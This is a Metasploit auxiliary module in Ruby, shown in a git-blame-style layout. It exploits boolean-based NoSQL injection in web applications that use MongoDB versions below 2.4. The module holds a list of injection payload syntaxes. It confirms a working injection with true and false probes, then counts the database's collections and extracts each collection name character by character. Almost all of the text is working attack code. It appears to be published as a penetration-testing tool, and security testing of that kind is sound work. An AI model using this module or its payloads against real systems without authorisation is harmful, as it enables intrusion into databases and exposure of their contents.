2014-06-07 16:20:34 +00:00
|
|
|
##
|
|
|
|
## This module requires Metasploit: http//metasploit.com/download
|
|
|
|
## Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
###
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit4 < Msf::Auxiliary
|
|
|
|
Rank = GoodRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => "MongoDB NoSQL Collection Enumeration Via Injection",
|
|
|
|
'Description' => %q{
|
|
|
|
This module can exploit NoSQL injections on MongoDB versions less than 2.4
|
|
|
|
and enumerate the collections available in the data via boolean injections.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' =>
|
|
|
|
['Brandon Perry <bperry.volatile@gmail.com>'],
|
|
|
|
'References' =>
|
|
|
|
[['URL', 'http://nosql.mypopescu.com/post/14453905385/attacking-nosql-and-node-js-server-side-javascript']],
|
|
|
|
'Platform' => ['linux', 'win'],
|
|
|
|
'Privileged' => false,
|
|
|
|
'DisclosureDate' => "Jun 7 2014"))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('TARGETURI', [ true, 'Full vulnerable URI with [NoSQLi] where the injection point is', '/index.php?age=50[NoSQLi]'])
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def syntaxes
|
|
|
|
[['";return+true;var+foo="', '";return+[inject];var+foo="'],
|
|
|
|
["';return+true;var+foo='", "';return+[inject];var+foo='"],
|
|
|
|
["'||this||'", "'||[inject]||'"],
|
|
|
|
['"||this||"','"||[inject]||"'],
|
|
|
|
["||this","||[inject]"]]
|
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
|
|
|
uri = datastore['TARGETURI']
|
|
|
|
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => uri.sub('[NoSQLi]', '')
|
|
|
|
})
|
|
|
|
|
2014-06-08 00:58:12 +00:00
|
|
|
if !res
|
|
|
|
fail_with("Server did not respond in an expected way.")
|
|
|
|
end
|
|
|
|
|
2014-06-07 16:20:34 +00:00
|
|
|
pay = ""
|
|
|
|
fals = res.body
|
|
|
|
tru = nil
|
|
|
|
|
|
|
|
syntaxes.each do |payload|
|
|
|
|
print_status("Testing " + payload[0])
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => uri.sub('[NoSQLi]', payload[0])
|
|
|
|
})
|
|
|
|
|
2014-06-08 00:58:12 +00:00
|
|
|
if res and res.body != fals and res.code == 200
|
2014-06-07 16:20:34 +00:00
|
|
|
print_status("Looks like " + payload[0] + " works")
|
|
|
|
tru = res.body
|
2014-06-08 00:58:12 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => uri.sub('[NoSQLi]', payload[0].sub('true', 'false').sub('this', '!this'))
|
|
|
|
})
|
|
|
|
|
|
|
|
if res and res.body != tru and res.code == 200
|
|
|
|
vprint_status("I think I confirmed with a negative test.")
|
|
|
|
fals = res.body
|
2014-06-07 16:20:34 +00:00
|
|
|
pay = payload[1]
|
|
|
|
break
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2014-06-08 00:58:12 +00:00
|
|
|
if pay == ''
|
|
|
|
fail_with("Couldn't detect a payload, maybe it isn't injectable.")
|
|
|
|
end
|
|
|
|
|
2014-06-07 16:20:34 +00:00
|
|
|
length = 0
|
|
|
|
vprint_status("Getting length of the number of collections.")
|
|
|
|
(0..100).each do |len|
|
|
|
|
str = "db.getCollectionNames().length==#{len}"
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => uri.sub('[NoSQLi]', pay.sub('[inject]', str))
|
|
|
|
})
|
|
|
|
|
2014-06-08 00:58:12 +00:00
|
|
|
if res and res.body == tru
|
2014-06-07 16:20:34 +00:00
|
|
|
length = len
|
|
|
|
print_status("#{len} collections are available")
|
|
|
|
break
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
vprint_status("Getting collection names")
|
|
|
|
|
|
|
|
(0..length-1).each do |i|
|
|
|
|
vprint_status("Getting length of name for collection " + i.to_s)
|
|
|
|
|
|
|
|
name_len = 0
|
|
|
|
(0..100).each do |k|
|
|
|
|
str = "db.getCollectionNames()[#{i}].length==#{k}"
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => uri.sub('[NoSQLi]', pay.sub('[inject]', str))
|
|
|
|
})
|
|
|
|
|
2014-06-08 00:58:12 +00:00
|
|
|
if res and res.body == tru
|
2014-06-07 16:20:34 +00:00
|
|
|
name_len = k
|
|
|
|
print_status("Length of collection #{i}'s name is #{k}")
|
|
|
|
break
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
vprint_status("Getting collection #{i}'s name")
|
|
|
|
|
|
|
|
name = ''
|
2014-06-08 01:09:00 +00:00
|
|
|
(0..name_len-1).each do |k|
|
2014-06-07 16:20:34 +00:00
|
|
|
[*('a'..'z'),*('0'..'9')].each do |c|
|
|
|
|
str = "db.getCollectionNames()[#{i}][#{k}]=='#{c}'"
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => uri.sub('[NoSQLi]', pay.sub('[inject]', str))
|
|
|
|
})
|
|
|
|
|
2014-06-08 00:58:12 +00:00
|
|
|
if res and res.body == tru
|
2014-06-07 16:20:34 +00:00
|
|
|
name << c
|
|
|
|
break
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2014-06-08 00:58:12 +00:00
|
|
|
print_status("Collections #{i}'s name is " + name)
|
2014-06-07 16:20:34 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
end
|
|
|
|
end
|